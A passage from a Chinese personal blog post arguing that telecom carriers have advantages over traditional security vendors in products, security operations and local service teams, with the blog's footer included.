运营商自身自研建设了大量的安全基础能力。以电信为例,近年来积极打造了一系列硬核自主研发的安全产品如云堤抗DDoS、互联网测绘平台、安全态势感知平台、安全运营中心、安全资源池等保租手等等,安全产品均已通过运营商级的大网实战验证。生态开放,具备端到端的产品集成、产品研发和定制能力,提供一体化、全方位、一站式的综合解决方案。相对于传统的安全产商,传统安全设备产商的某些个别的产品可能有优势,但产品可能只适配自家的产品,对其他厂商比较封闭,端到端的产品集成和定制化能力相对较弱。

四、运营优势

成功的安全在于运营,运营商自身作为典型的关基行业企业,面对工信部、通管局、公安、网信办等多个监管部门的监管和考核,自身积累了丰富的安全运营经验和实战化的重保经验,并且将自身的安全运营经验、重保经验赋能至安全产品。可面向行业监管单位和关基等客户量身打造基于实战化、可视化、专业级的安全运营产品集。而传统安全产商,一般只提供标准产品,安全运营经验赋能产品相对不足。

五、服务优势

电信运营商具备强大的信息化和安全的一体两翼的能力,比传统安全公司更懂信息化和网络,建立了从信息系统和网络的规划与设计、再到实施建设、生产运行维护,涉及整个业务系统安全稳定运行的安全服务体系。

电信运营商具备覆盖全国的省-市-县的本地化专业的安全服务团队,专业安全服务团队能对客户形成一对一的贴身服务。


博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注:微信公众号,一起学习成长!

<1…91011…21>
XieJava

XieJava

204 日志
12 分类
26 标签
RSS
GitHub
友情链接
  • 爱分享读书
  • CSDN
  • 豆瓣
© 2025 XieJava | Site words total count: 420.8k

主题 — NexT.Muse
0%